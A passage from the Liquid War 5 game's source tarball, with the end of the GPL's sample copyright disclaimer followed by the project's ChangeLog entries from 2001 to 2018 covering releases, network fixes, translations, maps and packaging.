mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. liquidwar-5.6.5/ChangeLog0000664000372000037200000011726713407756104014731 0ustar travistravis2018-12-23 Christian Mauduit (ufoot@ufoot.org) * Released 5.6.5. 2018-12-22 Christian Mauduit (ufoot@ufoot.org) * Code cleanup, updated Allegro calls, indent & lint. 2016-03-12 Christian Mauduit (ufoot@ufoot.org) * Introduced Docker files to build the game and run a server. * Fixed PHP metaserver. 2014-03-30 Christian Mauduit (ufoot@ufoot.org) * Fixed DOS & MS-Windows Makefiles to include Polish. 2014-01-02 Christian Mauduit (ufoot@ufoot.org) * Using proper PHP tags. 2013-12-30 Christian Mauduit (ufoot@ufoot.org) * Added make dist to Jenkins script. 2013-07-10 Christian Mauduit (ufoot@ufoot.org) * Fixed Debian issue #716610, was caused by lazy arg parsing. 2013-01-08 Christian Mauduit (ufoot@ufoot.org) * Copyright 2012 -> 2013. 2012-10-02 Christian Mauduit (ufoot@ufoot.org) * First Polish translation by Jan Szenborn. 2012-09-26 Christian Mauduit (ufoot@ufoot.org) * Added Jenkins (continuous integration) script. 2012-01-01 Christian Mauduit (ufoot@ufoot.org) * Copyright 2011 -> 2012. 2011-12-23 Christian Mauduit (ufoot@ufoot.org) * Removed compiler warnings. 2011-12-22 Christian Mauduit (ufoot@ufoot.org) * Added 5 new maps by Joey Dodson (psyforce). 2011-08-20 Christian Mauduit (ufoot@ufoot.org) * Turned on waves by default. Computers are fast now. 2011-07-22 Christian Mauduit (ufoot@ufoot.org) * Trying to fix the game for native GP2X support. 2011-07-07 Christian Mauduit (ufoot@ufoot.org) * Added informations on how to compile for GP2X. 2011-06-01 Christian Mauduit (ufoot@ufoot.org) * German translation update by Jan Gretschuskin. 2011-05-31 Christian Mauduit (ufoot@ufoot.org) * Updated 'upgrade to LW6' message. * Added icon support under X-Windows. * Doc update. * Added hi-res icon. * Changed READMEs charset to UTF-8. * Makefile distclean fix. 2011-05-30 Christian Mauduit (ufoot@ufoot.org) * Updated config.guess & other configure scripts. * Mac OS X package fix. * Fixed RPM generation. * target -> host in configure/Makefile 2011-04-30 Christian Mauduit (ufoot@ufoot.org) * Copyright 2010 -> 2011. 2010-08-25 Christian Mauduit (ufoot@ufoot.org) * Information "Liquid War 6 is out" when starting game. 2009-11-14 Christian Mauduit (ufoot@ufoot.org) * Fixed Debian Bug #555468, missing -lm in mapgen Makefile 2009-08-19 Christian Mauduit (ufoot@ufoot.org) * Makefile updates for native OS/X support. 2009-07-31 Christian Mauduit (ufoot@ufoot.org) * Security patch by Mikhail Yakshin. 2009-04-22 Christian Mauduit (ufoot@ufoot.org) * New solsystem map by Rezifull 2008-05-10 Christian Mauduit (ufoot@ufoot.org) * .desktop patch by SA Gevatter (FreeDesktop.org compliance) 2008-03-25 Christian Mauduit (ufoot@ufoot.org) * Added sample logrotate.d file. 2008-03-24 Christian Mauduit (ufoot@ufoot.org) * Liquid War server no more leaves defunct childs on callback. * Copyright 2007 -> 2008. * Now somewhat version agnostic, will accept 5.6.3 & more. 2007-11-16 Christian Mauduit (ufoot@ufoot.org) * Fixed CPU detection, ASM was compiled on x86_64 but isn't linkable. 2007-10-17 Christian Mauduit (ufoot@ufoot.org) * Released 5.6.4. * Updated config.guess & config.sub * NSIS packaging (windows .exe installer). 2007-10-15 Christian Mauduit (ufoot@ufoot.org) * MSVC -> MinGW * src/base.h now included in source tarball (for MS platforms...) 2007-10-06 Christian Mauduit (ufoot@ufoot.org) * Minor packaging & doc fixes. 2007-09-07 Christian Mauduit (ufoot@ufoot.org) * Included the (old) exploit http://www.securityfocus.com/bid/8629/ 2007-09-06 Christian Mauduit (ufoot@ufoot.org) * Copyright 2006 -> 2007 * Minor Makefile fix 2006-10-17 Christian Mauduit (ufoot@ufoot.org) * Gcc option -mpcu (deprecated) -> -march. 2006-10-16 Christian Mauduit (ufoot@ufoot.org) * Makefile patch for BSD by Thomas Klausner. 2006-04-04 Christian Mauduit (ufoot@ufoot.org) * Fixed atrocious bug in group_mesher. Almost 8 years old. 2006-04-02 Christian Mauduit (ufoot@ufoot.org) * Deleted lwtabto3.pcx which was a duplicate of lwtab006.pcx 2006-04-01 Christian Mauduit (ufoot@ufoot.org) * Deleted lwtab007.pcx which was a duplicate of lwtabto4.pcx 2006-03-08 Christian Mauduit (ufoot@ufoot.org) * Fixed segfault when graphics mode are not available. 2006-03-07 Christian Mauduit (ufoot@ufoot.org) * Created an NSIS installer script (not working yet). * Copyright 2005 -> 2006. * Minor patch, removed accent (ascii>127) from doc. 2005-12-11 Christian Mauduit (ufoot@ufoot.org) * Move Arch depot to Savannah. 2005-12-04 Christian Mauduit (ufoot@ufoot.org) * Changed ufoot.org/liquidwar to ufoot.org/liquidwar/v5 2005-11-27 Christian Mauduit (ufoot@ufoot.org) * Released 5.6.3. * Added checks to avoid FD_SET with an arg1 of -1. * Added checks on socket validity on client network code. * Fixed it for good, on UNIX. * Fixed network bug which caused connect screen to become irresponsive. 2005-11-26 Christian Mauduit (ufoot@ufoot.org) * Tried to released 5.6.3, failed because of network bug. * Fixes for Allegro 4.2 / GCC 4. * Updated docs. 2005-11-25 Christian Mauduit (ufoot@ufoot.org) * Warnings removed when compiling with gcc 4.0 and Allegro 4.2 2005-09-09 Christian Mauduit (ufoot@ufoot.org) * Waves deactivated by default on x86_64 2005-09-05 Christian Mauduit (ufoot@ufoot.org) * Fixed GUI procs so that 320x240 is correctly displayed. * Minor fix, ptr size is checked, instead of long which is useless. 2005-09-04 Christian Mauduit (ufoot@ufoot.org) * Fixed my_edit_proc which was wrecked after migration to allegro 4.2 * Characters >= 128 are now filtered in the GUI. 2005-08-30 Christian Mauduit (ufoot@ufoot.org) * Fixes in XML doc files, changed the DTD URL. 2005-08-28 Christian Mauduit (ufoot@ufoot.org) * Added Solar System map by 2 of omega. 2005-06-29 Christian Mauduit (ufoot@ufoot.org) * Fixed the package generators to avoid arch system dirs * Finally updated the makedoc.py script to use sax instead of xmllib * Reactivated i386 assembly code for x86_64. * Reindented code with indent and splint. * Minor change in level menu layout to handle resolution display. * Waves are activated by default only if assembly code is available. * Added patches by Dave Vasilevsky to support Mac OS X. 2005-06-21 Christian Mauduit (ufoot@ufoot.org) * Game now requires Allegro 4.2.0beta3 to compile * Removed most compile warnings, due to allegro deprecated functions * Fixed alleg2.c to match allegro 4.2 needs. 2005-05-29 Christian Mauduit (ufoot@ufoot.org) * Copyright 2004 -> 2005 * Added infos about GNU Arch depot (wip) * Added Fanfic by Gavin 2005-05-07 Christian Mauduit (ufoot@ufoot.org) * Added UWiKiCMS doc generation. 2004-08-22 Christian Mauduit (ufoot@ufoot.org) * Added more strategy tips suggested by Jan Samohl. 2004-08-19 Christian Mauduit (ufoot@ufoot.org) * Game defaults to windowed mode under UNIX. 2004-07-06 Christian Mauduit (ufoot@ufoot.org) * Fixed Joystick support, which was completely broken, works under Linux Now, with my gamepad at least. 2004-02-11 Christian Mauduit (ufoot@ufoot.org) * Released 5.6.2. * Updated docs (allow net bots) * Minor change in lwmapgen call 2004-02-10 Christian Mauduit (ufoot@ufoot.org) * Updated lwmapgen to 0.0.1. * Updated credits. * Updated translations. * Updated network tutorial. 2004-02-04 Christian Mauduit (ufoot@ufoot.org) * As suggested by Peter Williams on happypenguin, the default behaviour is now to exclude bots from net games. This behavior is an option turned on by default. 2004-02-02 Christian Mauduit (ufoot@ufoot.org) * Applied patch from Peter Williams which fixes a "too many opened file handles" bug on the server. 2004-01-11 Christian Mauduit (ufoot@ufoot.org) * Released 5.6.1. * Updated doc so that it includes basic info on lwmapgen's options. * Random map generator now integrated under Windows. 2004-01-01 Christian Mauduit (ufoot@ufoot.org) * Minor Winsock fix, better error checking. * Fixed install/buildroot problem. * Bug-fix in doc generator. * Updated copyright info. 2003-12-18 Christian Mauduit (ufoot@ufoot.org) * Released 5.6.0. * Bug-fixes concerning network under Windows. 2003-12-13 Christian Mauduit (ufoot@ufoot.org) * Fixed package building, uses /tmp/liquidwar-... as a tmp dir. 2003-12-06 Christian Mauduit (ufoot@ufoot.org) * Updated the TODO section. * Fixes for DOS/Windows. * Added Kasper's latest maps. 2003-12-03 Christian Mauduit (ufoot@ufoot.org) * Some more Danish stuff. 2003-12-01 Christian Mauduit (ufoot@ufoot.org) * Updated German translation. 2003-11-27 Christian Mauduit (ufoot@ufoot.org) * The map generator compiles under Windows. 2003-11-23 Christian Mauduit (ufoot@ufoot.org) * Merged last version of map generator. 2003-11-12 Christian Mauduit (ufoot@ufoot.org) * Updated Kasper's maps names. 2003-11-11 Christian Mauduit (ufoot@ufoot.org) * Added a "floating gnu" custom map, to show how map associations work. * Updated the docs. * De-integrated the map generator from inside the game. It's now called as an external program. It works much better, and if it ever crashes, it does not impact the parent process (ie the game). * The random map generator by David Redick finally works. It's still rather segfault prone for now. * Added a "random map" button. 2003-11-10 Christian Mauduit (ufoot@ufoot.org) * Cleaned up the texture loading/creating code so that it's cleaner from an "endianess point of view", ie the encoding is the same on MAC or PC. 2003-11-09 Christian Mauduit (ufoot@ufoot.org) * Added a mutex lock/unlock on the update_choose_map function which is suspected to be responsible for crashes under Windows. 2003-11-08 Christian Mauduit (ufoot@ufoot.org) * Implemented some basic mutex support. * Game should not eat up 100% off CPU time on UNIX platforms anymore. * Prepared stuff to include David Redicks's map generator in Liquid War "natively". * Fixed a bug in system name generation for custom maps/textures. * Changed map names so that they are sorted by author. * Added map generator by David Redick. It's still an external program. * Finished implementation of "use default texture" option. 2003-11-06 Christian Mauduit (ufoot@ufoot.org) * Started to implement some "dialog hiding" for the level menu, to make the "use default texture" option easier to understand. 2003-11-05 Christian Mauduit (ufoot@ufoot.org) * Bug-fixes for the "use default texture" option. 2003-11-04 Christian Mauduit (ufoot@ufoot.org) * Reimported old LW3 textures for their corresponding maps. * The "use default texture" option works. Needs enhancements but basically works. * Added a "system name" property to textures. 2003-11-03 Christian Mauduit (ufoot@ufoot.org) * Added a "system name" property to maps. * Fixed puckman and rect maps since they were buggy. * Map checks are now done on both custom and builtin maps. * Better checks in the liquidwarmap utility to fix issues with Kaspers' maps. 2003-11-02 Christian Mauduit (ufoot@ufoot.org) * Added 41 maps provided by Kasper Hviid. * Preparing support for the "use default texture" option. 2003-10-31 Christian Mauduit (ufoot@ufoot.org) * Added Danish translation by Kasper Hviid. 2003-08-31 Christian Mauduit (ufoot@ufoot.org) * Added new map by Jan Gretschuskin. 2003-08-15 Christian Mauduit (ufoot@ufoot.org) * Updated my snail mail address. 2003-07-20 Christian Mauduit (ufoot@ufoot.org) * Updated config.guess and config.sub to fix bug 198214 on Debian. 2003-07-20 Christian Mauduit (ufoot@ufoot.org) * Applied patch by Aurelien FORET (fixes bug compiling with gcc 3) 2003-07-20 Christian Mauduit (ufoot@ufoot.org) * Applied patch by Aurelien FORET (fixes bug compiling with gcc 3) 2003-07-20 Christian Mauduit (ufoot@ufoot.org) * Changed refs to openprojects.net to freenode.net 2003-04-09 Christian Mauduit (ufoot@ufoot.org) * Added liquidwar.desktop file for Gnome/KDE/etc... contributed by Michael Terry. 2003-04-04 Christian Mauduit (ufoot@ufoot.org) * Added Eduard Bloch in the credits. 2003-04-04 Christian Mauduit (ufoot@ufoot.org) * Applied German translation patch submitted by Debian maintainer Eduard Bloch. * Replaced "\r\n" by "\x0d\x0a" again. 2003-03-07 Christian Mauduit (ufoot@ufoot.org) * Grammar correction in the docs. 2003-03-06 Christian Mauduit (ufoot@ufoot.org) * Released 5.5.9. 2003-03-05 Christian Mauduit (ufoot@ufoot.org) * Pre-alpha script for building Mac OS X tarball. * Server handles pings more gracefully while replicating keys. * Added Mac OS X rtf readme file by Ryan D. Brown. * Added Ryan D. Brown povray source for the globe.png icon. * Added a check of sizeof(int/long/short/char) on startup. * Client ping detection works, although not perfect yet... 2003-03-04 Christian Mauduit (ufoot@ufoot.org) * Started to implement a ping calibrator for the client, to spot fast servers from slow ones. * Added Ryan D. Brown in the credits. * Passed all the C source through GNU indent. * More endianess fixes, hopefully network should now work on Mac. 2003-03-03 Christian Mauduit (ufoot@ufoot.org) * Some more minor windows fixes. * Code used random() now instead of rand() since it's supposed to produce "more random" values. * Minor fix in the meta-server, concerning the fact that "empty" server lists where not handled correctly since LW supports HTTP 1.1. * Applied new German translations by Jan Gretschuskin. 2003-03-02 Christian Mauduit (ufoot@ufoot.org) * The Windows server is now able to launch a process when someone connects, just like on UNIX. * Added a javascript script to popup a window under windows, using Windows Scripting Host. * Added support for popup windows on Win32. * Made the game compile under Win32 again 8-) 2003-02-28 Christian Mauduit (ufoot@ufoot.org) * Added a sample liquidwar_notify.sh script. 2003-02-24 Christian Mauduit (ufoot@ufoot.org) * It's now possible to compile binaries with efence, in order to track bugs down. * Added icon by "Rib Rdb", who's porting the game to Mac OS X. The icon is in misc/globe.png. * Fixed the problem in world1.bmp. There was a "hole" in it. Patch provided by David Redick. 2003-02-22 Christian Mauduit (ufoot@ufoot.org) * Fixed a bug which caused player names to be blank in score screen. * Fixed ugly bug in srvchan.c, which caused network to be completely broken (bug introduced by previous code cleanup). * Changed the serialization method for maps, so that the game can be used in a networked environnement even if some machines are big-endian and other ones are little-endian. This is an endianness fix, which should hopefully make network available on Mac OS X. * The source now compiles with "-W" gcc option under Linux. 2003-02-21 Christian Mauduit (ufoot@ufoot.org) * Added the "callback" option which allows the server to perform arbitrary actions whenever someone connects on it. Implemented on UNIX only for now. * Added a "check" target to Makefile, which fires splint and xmllint. 2003-02-11 Christian Mauduit (ufoot@ufoot.org) * Applied patch by Roderick Schertler which implements HTTP 1.1 support. Previous versions used clumsy (& ugly) old HTTP 0.6 stuff which would not make it through proxies like squid. 2003-02-05 Christian Mauduit (ufoot@ufoot.org) * Fixed the xml doc source with xmllint. 2003-02-01 Christian Mauduit (ufoot@ufoot.org) * Removed all direct calls to sprintf, strcat or strcpy. * Imported an snprintf implementation, for platforms who don't have native snprintf support. That is -> windows. No wonder they get so many buffer oveflows and security holes ;-P * Added a dtd to the xml documentation. This is cleaner, and Emacs stops complaining about "missing file entity" when I open source files 8-) * Added a "CPU vs human" option which allows players to specify wether the CPUs should always attack humans or not. 2003-01-02 Christian Mauduit (ufoot@ufoot.org) * Added 3 maps contributed by Rene Stach. 2003-01-01 Christian Mauduit (ufoot@ufoot.org) * Updated copyright notice. * Minor fix in the docs concerning the -metaserver option. 2002-12-31 Christian Mauduit (ufoot@ufoot.org) * Minor fix in the German translation (Oui -> Ja). 2002-12-29 Christian Mauduit (ufoot@ufoot.org) * Bug-fix concerning the PHP3 metaserver, suggested by Christopher Orr. he had problems registering his servers through a transparent proxy. 2002-12-20 Christian Mauduit (ufoot@ufoot.org) * Vi temp files now correctly removed by make clean. * Fixed ChangeLog dates previously written on heavy drugs. * Added a "beep" on the server when someone connects. * Added a reference to www.game-factor.de on Jan's credits. 2002-12-16 Christian Mauduit (ufoot@ufoot.org) * Released 5.5.8. 2002-12-13 Christian Mauduit (ufoot@ufoot.org) * Added translations of the game description in the RPM spec file. * Updated the "short" description of the game. * ChangeLog is now included in the Windows & DOS releases. * Updated the URL of the German homepage. * Minor fix in the French README. 2002-12-12 Christian Mauduit (ufoot@ufoot.org) * Some FreeBSD make fixes (concerns src tarball generation) 2002-11-28 Christian Mauduit (ufoot@ufoot.org) * mail.freesoftware.fsf.org -> mail.nongnu.org * Finally updated the German README, thanks to Jan 8-) 2002-11-27 Christian Mauduit (ufoot@ufoot.org) * Replaced too long German text by "Speed". 2002-10-26 Christian Mauduit (ufoot@ufoot.org) * Updated my GnuPG key info. 2002-10-17 Christian Mauduit (ufoot@ufoot.org) * Changed the package_source generation again since BSD patches made it buggy under Linux 8-/ 2002-10-14 Christian Mauduit (ufoot@ufoot.org) * One can now force the prefix of the binary package. * Fixed the package_source target generation (would fail on FreeBSD). * Added -D_THREAD_SAFE to gcc args. Seems to be required by FreeBSD. 2002-10-13 Christian Mauduit (ufoot@ufoot.org) * Added README.fr and REAMDE.de files. 2002-10-12 Christian Mauduit (ufoot@ufoot.org) * Replaced "License" by its traductions in French and German in the "about" screen. * Fixed an old bug in texture reading and color converting, related to the use of the rand() function. This bug could cause compilation or running the game to block forever. * Added automatic detection of pthread_create in libpthread. Used to switch on the -pthread option instead of -lpthread on FreeBSD. 2002-10-11 Christian Mauduit (ufoot@ufoot.org) * Added GNU Make automatic detection in configure scripts, for systems that have both make (non-GNU) and gmake (GNU) commands, such as FreeBSD. * Replaced "test x == y" by "test x = y" in the configure script, since this should work better with shells like csh (FreeBSD). 2002-10-10 Christian Mauduit (ufoot@ufoot.org) * Added 5 new maps by Jan Gretschuskin (Quaders and Darkone series). * Changed included standard headers to be more FreeBSD friendly. * Added the German translation of the GPL * Resized some menu items so that german translations can fit in them. * Replaced accents on German characters by their "equivalent" using the plain standard alphabet (ascii<128) 2002-10-08 Christian Mauduit (ufoot@ufoot.org) * It's now possible to specify which "make" command to use by exporting the environnement var "MAKE" before typing ./configure. Usefull for compiling the game when GNU Make is called gmake for instance (think of FreeBSD...). * Added German language support. Translation by Jan Gretschuskin. 2002-09-02 Christian Mauduit (ufoot@ufoot.org) * Bug-fix in the global exit function (minor bug in debug-mode, when exiting in "page-flipped" mode). * Code cleanup 2002-09-01 Christian Mauduit (ufoot@ufoot.org) * Released 5.5.7 * The "big data allocation" is now called to automatically double the amount of reserved memory when one tries to start a new game, and the buffer was to small - this previously resulted in a pathetic almost useless error message... * Added more settings for the "min map resolution" feature. * Applied patch from Eugene St Leger. Now the menu water volume is correctly saved in the config file. 2002-08-30 Christian Mauduit (ufoot@ufoot.org) * Added the feature suggested by Thomas Harte, which is to magnify small maps so that they are more interesting to play on fast computer. It's still possible to use the original small versions however. * Fixed a minor checksum verification bug 2002-08-29 Christian Mauduit (ufoot@ufoot.org) * When there's a checksum error, the checksum value is printed on the server log. * Changed makefiles output (now displays more info about options) * Added the possibility to compile the game in debug mode under UNIX. * Moved the "Cursor speed" option back in the "Rules" menu, and added a "Reset rules do default" button - which does not resets all the parameters, such as player names for instance... 2002-08-28 Christian Mauduit (ufoot@ufoot.org) * Bug-fix in the core algorithm, concerning fighters moving in the south-west direction. This direction was simply not correctly handled 8-( * Increased server messages consistency. Code cleanup. * Fixed a minor bug in the core algorithm (mesh was not spread correctly in the top-left corner of the map). * Added a function to dump rules config on stdout. * Fixed a bug concerning the famous "error processing WHO 0" message. This should - finally - fix the problem of unwanted client disconnections. At least I hope so... 2002-08-26 Christian Mauduit (ufoot@ufoot.org) * Minor network fixes * Updated the mpeg tools. * Minor changes in the meta-server. 2002-08-08 Christian Mauduit (ufoot@ufoot.org) * Changed the French language detection under UNIX * Fixed a minor menu issue in the French version (game and menu water labels had been inverted). 2002-07-27 Christian Mauduit (ufoot@ufoot.org) * Add 18 and 25 frames/sec display limits, to make more sensible movie captures. 2002-07-18 Christian Mauduit (ufoot@ufoot.org) * Released 5.5.6. 2002-07-17 Christian Mauduit (ufoot@ufoot.org) * Little tweak in the cursor move fonction which makes walls more slippery. Moving cursors should be easier now. * Enhanced the "Default" options button, so that settings such as fullscreen mode are immediately applied. * Fixed a bug in datafile maps writing/reading. The "size" field which was believed by network to be the size of maps was the size of the background. In practice, size is always > bg_size but this was weird anyway... * Fixed a bug in the network map exchange (potential buffer overflow to be very precise) * The game now performs a range check on all the config parameters retrieved from the network. * Added 4 "World" maps * Fixed a bug which disabled asm assembly by default. Not in 5.5.5. * Release 5.5.5. 2002-07-16 Christian Mauduit (ufoot@ufoot.org) * Pressing in the edit zone in the connection screem causes the message to be sent. * The "capture" mode can now be activated from teh command line. * Added a "tombola" mode where the score menu displays a random number between 1 - 500 instead of the scores. Rather specific and unusual stuff indeed 8-) 2002-07-14 Christian Mauduit (ufoot@ufoot.org) * Added a module to capture the video output and dump it on the disk. * F10 now exits the game "right away" without prompting for anything. * Disabled the possibility to pause the game during a network session. * Changed the way lag keys are sent. Should work a little better. * Added a "struct alignment" verification code so that if a compiler generates different struct sizes/alignements, then Liquid War detects it and does not use the i386 assembly code... * Changed the way network colors are automatically attributed. It's not random anymore, the game tries to pick colors that are as different as possible from already enrolled colors. 2002-07-13 Christian Mauduit (ufoot@ufoot.org) * Added a "checksum" system to check that the game behaves the same on every computer in network games. Seems to prove the game is still not bug free 8-( This feature is not in 5.5.4. * Added password support. This feature is not in 5.5.4. * The game now plays a sound when another player joins a network game. This feature is not in 5.5.4. * Moved the "check_loose_team" function from "display" to "logic". This could cause severe inconsistencies in network bugs when there were more than 2 players involved. This bug-fix is not in 5.5.4. * Updated the meta-server so that it can handle U61 requests. Not really related to Liquid War anyway 8-) * Added the possibility to abort the connection on a server. This could indeed take a bunch of time since connect is a blocking call which can take up to a minute before failing... Not in 5.5.4 either... * Released 5.5.4. 2002-07-12 Christian Mauduit (ufoot@ufoot.org) * Fixed a bug in the "rules" menu display. Game time was broken. * Small network fix on the server. * The "Play" button is now disabled in the "Connect" screen once one has pressed "Start now" or "Play". This fixes a rather annoying bug, since when people pressed "Start" twice they would sometime get weird "Network errors", which totally super sucked... * Added calls to "yeild_timeslice" to make LW more "multitasking-friendly" * Fixed an ugly UNIX X-Windows related bug. When switching between workspaces, edit boxes and in a general manner all buffered input would pathetically fail. * Little RPM generation update, to solve a man page compression issue. 2002-07-11 Christian Mauduit (ufoot@ufoot.org) * Released 5.5.3. 2002-07-10 Christian Mauduit (ufoot@ufoot.org) * French support is now auto-detected under Windows too. * Added informations about my GnuPG public key. 2002-07-09 Christian Mauduit (ufoot@ufoot.org) * Added a new map (contributed by "Mouse") * Changed the way liquidwarmap works. Wall color is now given by the top left pixel and is not supposed tobe "index 0" anymore. * Added an ugly but usefull hack/script in the misc section, which helps formatting contributed .bmp files so that they are correctly handled by the liquidwarmap utility. * lwwin.exe now has a "built-in" icon. * renamed copying.txt to license.txt in DOS and Win releases 2002-07-08 Christian Mauduit (ufoot@ufoot.org) * Fixed a bug on the server -> disconnection of clients while sending game information was not handled correctly. * Added a small - yet working - chat system in the connection screen. 2002-07-02 Christian Mauduit (ufoot@ufoot.org) * Added 6 maps by Jan Gretschuskin 2002-07-01 Christian Mauduit (ufoot@ufoot.org) * Fixed a score bug (some teams would be considered as playing while they were inactive). 2002-06-29 Christian Mauduit (ufoot@ufoot.org) * Released 5.5.2 2002-06-28 Christian Mauduit (ufoot@ufoot.org) * Separated run-time (network fetched for instance) config parameters from the config parameters stored in the config file. * Added an "Assembly or standard C" option in the advanced rules menu. This allow players to switch off assembly code if they want to. Mostly for testing though... * Changed the resolution of the default map, which was too small IMHO. The old one is still here anyway 8-) 2002-06-27 Christian Mauduit (ufoot@ufoot.org) * Bug-fix concerning display in page flipping mode * Removed a bunch of Windows specific quirks * Finally enabled all the assembly code under Windows (BTW, I confirm - once again - that MSVC is a total piece of crap) * Rewrote the "set_resolution" function in a cleaner way * Separate config and log files for the Windows & DOS binaries * Moved the icons to the "misc" directory, and added a 32x32 xpm 2002-06-26 Christian Mauduit (ufoot@ufoot.org) * Re-enabled the assembly code for the "wave effects" * Changed the way the "Viewport" size is calculated. 2002-06-25 Christian Mauduit (ufoot@ufoot.org) * Liquid War now handles the "Close" button in windowed context. (MS-Windows and X-Windows). 2002-06-24 Christian Mauduit (ufoot@ufoot.org) * The "control_type" parameter is now transmitted on the nwtwork. This enables the client to know if a network team is a bot, and also fixes a network bug (when the "CPU Strength" parameter was changed). * Re-enabled some i386 assembly code under Linux 2002-06-21 Christian Mauduit (ufoot@ufoot.org) * The options are now chosen by the _first_ connected client. 2002-06-20 Christian Mauduit (ufoot@ufoot.org) * Bug-fix concerning language detection on Linux, submitted by David Turner (the game would segfault if LANG was undefined) Patch not included in 5.5.1. * Minor bug-fix in the metaserver (age was wrong when > 1 day) * Released 5.5.1 2002-06-19 Christian Mauduit (ufoot@ufoot.org) * Minor fixes * Replaced truecolor custom/map/pacman.bmp by a 256 colors indexed version (fixes a DOS bug) * Added informations about IRC 2002-06-18 Christian Mauduit (ufoot@ufoot.org) * Bug-fixes concerning custom levels loading * Network bug-fix concerning disconnection at game start 2002-06-10 Christian Mauduit (ufoot@ufoot.org) * Better error handling on the server, especially when sending info to clients before a game starts. * Fixed the http client parser (would not handle correctly IP adresses which had 15 characters. * Bug-fix in the meta-server (chat messages) 2002-06-06 Christian Mauduit (ufoot@ufoot.org) * Applied patch sent by Colin Stewart on dnsutil.c (the game would not compile on Debian Potato). 2002-06-04 Christian Mauduit (ufoot@ufoot.org) * Fixed some custom ressources stuff. * Released 5.5.0 2002-06-03 Christian Mauduit (ufoot@ufoot.org) * Fixed a "color" bug which occured with 6 teams in a network game. * Fixed some DOS and Windows bugs * Updated the docs. 2002-05-31 Christian Mauduit (ufoot@ufoot.org) * Changed the way network sockets are closed * The server is now able to tell the clients that is is "full" and therefore does not accept any more teams. * Added date and time to the server log. 2002-05-30 Christian Mauduit (ufoot@ufoot.org) * Added a "chat" functionnality to the meta-server * Finished the French menus 2002-05-29 Christian Mauduit (ufoot@ufoot.org) * Finally fixed the ugly mouse bug which caused the mouse to leave a "trace" on some screens. * In a network game, it's now the first connected players who chooses which level will be played - the choice used to be done by the last connected player. 2002-05-28 Christian Mauduit (ufoot@ufoot.org) * Bug-fix in the DNS lookup routine 2002-05-27 Christian Mauduit (ufoot@ufoot.org) * Implemented a new "Connect" menu which displays who's currently connected on the server. * Added the possibility to start a game even not all the players are connected yet. * The server is now able to disconnect a player while waiting for others to connect. 2002-05-20 Christian Mauduit (ufoot@ufoot.org) * Added clarity.mid and return.mid (composed by Tim Chadburn) 2002-05-17 Christian Mauduit (ufoot@ufoot.org) * Added a "Copying" section to the docs. 2002-05-14 Christian Mauduit (ufoot@ufoot.org) * All the labels but the log messages are supported in French. 2002-05-10 Christian Mauduit (ufoot@ufoot.org) * More locale stuff... 2002-05-07 Christian Mauduit (ufoot@ufoot.org) * Added some new French menu labels. 2002-05-06 Christian Mauduit (ufoot@ufoot.org) * Added a "memset(d,0,sizeof(d))" call at the beginning of every menu. Should prevent from some random GUI errors. * The mouse cursor is now hidden during the game * Added player name support in the "Scores" menu. Works in both network and local modes. 2002-05-04 Christian Mauduit (ufoot@ufoot.org) * Updated the "Teams" menu. As suggested by Frode Haugsgjerd, the "Human/Cpu" choice has been replaced by a "Human/Cpu/Off" choice. A player name has also been added - however it's not used yet. * Removed the "NICKNAME" from network code, which is useless since player names are about to be implemented. * Added a "Controls" menu to set up the joystick state and the mouse sensibility. This was previously in the "Teams" menu. 2002-04-29 Christian Mauduit (ufoot@ufoot.org) * Removed the "in-game" help which was outdated anyway... 2002-04-27 Christian Mauduit (ufoot@ufoot.org) * Removed the "Help" button and replaced it with a "play" button. * Added a "Language" menu. 2002-04-23 Christian Mauduit (ufoot@ufoot.org) * Updated the "about" menu. 2002-04-22 Christian Mauduit (ufoot@ufoot.org) * Updated the php3 doc generator. * Minor fix in configure.in. 2002-04-02 Christian Mauduit (ufoot@ufoot.org) * Added fodder.mid, composed by Tim Chadburn. * Added Tim Chadburn's documentation about OSS midi. 2002-03-21 Christian Mauduit (ufoot@ufoot.org) * Implemented a meta-server in PHP3, which registers servers. A new menu has been added to the client so that players can automatically pick a server. 2002-03-15 Christian Mauduit (ufoot@ufoot.org) * Added information about the mailing-list 2002-03-14 Christian Mauduit (ufoot@ufoot.org) * Quick hack to fix a MIDI initialization problem 2002-03-13 Christian Mauduit (ufoot@ufoot.org) * Added marauder.mid (by Tim Chadburn) to the musics. 2002-03-12 Christian Mauduit (ufoot@ufoot.org) * Fixed RPM/install-info related bugs. 2002-03-11 Christian Mauduit (ufoot@ufoot.org) * Version 5.4.5 rleased * Added midi music support. Midi files contributed by Tim Chadburn. * Fixed an install-info related bug in the RPM file * The Windows version now outputs stuff to a data/lw.log file 2002-02-25 Christian Mauduit (ufoot@ufoot.org) * version 5.4.4 released * Changed the copyright notice at the beginning of each file so that it's conform to the GPL's suggestions. * Added a time limit in the keyboard polling which is used in the "teams" menu. Should prevent the game from freezing. * Fixed a serious bug in key choosing in the "teams" menu. This bug had not been reported 8-( * Added documentation in "info" format. * ./configure now autodetects tools such as PDFLaTeX, and the Makefile won't try to build such doc if it's not available. * It's now possible to compile an optimized version of Liquid War (for i686 for instance) using ./configure --target=xxx. * Various bug-fixes and enhancements in the ./configure script and in the makefiles. 2002-01-28 Christian Mauduit (ufoot@ufoot.org) * version 5.4.3 released * Bug-fix in the liquidwarmap utility (some maps could generate protection faults while compiling). * Bug-fix in the datafile generation (the background image palette was wrecked with Allegro 4.0). * LW is now compliant with the Filesystem Hierarchy Standard, this implies that binaries are in $prefix/games. * There's now a window title which says "Liquid War 5.4.3" * Added a windowed/fullscreen mode support. * Limited the size of "mesh elements" to 8x8 to avoid weird behaviors on very big and empty maps. * Added an uninstall target * Added some basic scripts to automatically build the various releases * Added a liquidwar.spec file so that it's easy to build a rpm 2001-07-23 Christian Mauduit (ufoot@ufoot.org) * version 5.4.2 released * Bug-fix in the network code. * A few more levels. 2001-07-18 Christian Mauduit (ufoot@ufoot.org) * version 5.4.1 released * Fixed many bugs in the network support, and added the "-lag" option to the server. Basically it should be possible to play on Internet now. Also, the client now displays readable error messages when there's a problem joining the server. * Added names to maps so that it's easier to choose them, added a "speeds" and changed some other GUI related stuff. * The default memory allocated (8192Kb) has also been increased (16384Kb) so that the game can handle big maps. 2 new hudge maps have been added. 2001-07-07 Christian Mauduit 